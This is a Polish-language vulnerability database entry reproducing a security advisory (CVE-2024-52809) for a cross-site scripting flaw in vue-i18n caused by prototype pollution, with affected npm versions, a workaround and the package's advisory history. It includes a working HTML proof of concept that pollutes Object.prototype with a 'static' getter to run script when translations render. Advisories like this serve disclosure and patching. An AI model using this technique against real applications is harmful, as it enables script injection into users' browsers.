Średnia

vue-i18n has cross-site scripting vulnerability with prototype pollution

  • Ujawniono: 02.12.2024
  • Aktualizacja: 11.10.2026 10:22

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n. we can then translate them using t and $t. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations. About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n, so there is always a property that is attached during optimization like this time. But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

html
<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>

Workarounds

Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.

References

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @intlify/core >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
Paczka npm @intlify/core-base >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
Paczka npm @intlify/vue-i18n-core >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
Paczka npm petite-vue-i18n >= 10.0.0, < 10.0.5 10.0.5
Paczka npm vue-i18n >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Słabość (CWE)
CWE-79
Platforma
npm
Paczka
@intlify/core, @intlify/core-base, @intlify/vue-i18n-core
Ujawniono
02.12.2024
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-9r9m-ffp6-9x4v - CC BY 4.0

Historia podatności: @intlify/vue-i18n-core

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
4
Pierwsza → ostatnia
12.2024 07.2025
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 1
  • Średnia 3

Ujawnienia w latach

  1. 2024: 2
  2. 2025: 2
  3. 2026: 0
  1. Średnia CVE-2025-53892 >= 9.2.0, < 9.14.5, >= 10.0.0, < 10.0.8, >= 11.0.0, < 11.1.10 9.14.5, 10.0.8, 11.1.10
  2. Wysoka CVE-2025-27597 >= 9.2.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 9.14.3, 10.0.6, 11.1.2
  3. Średnia CVE-2024-52810 >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
  4. vue-i18n has cross-site scripting vulnerability with prototype pollution ten wpis
    Średnia CVE-2024-52809 >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.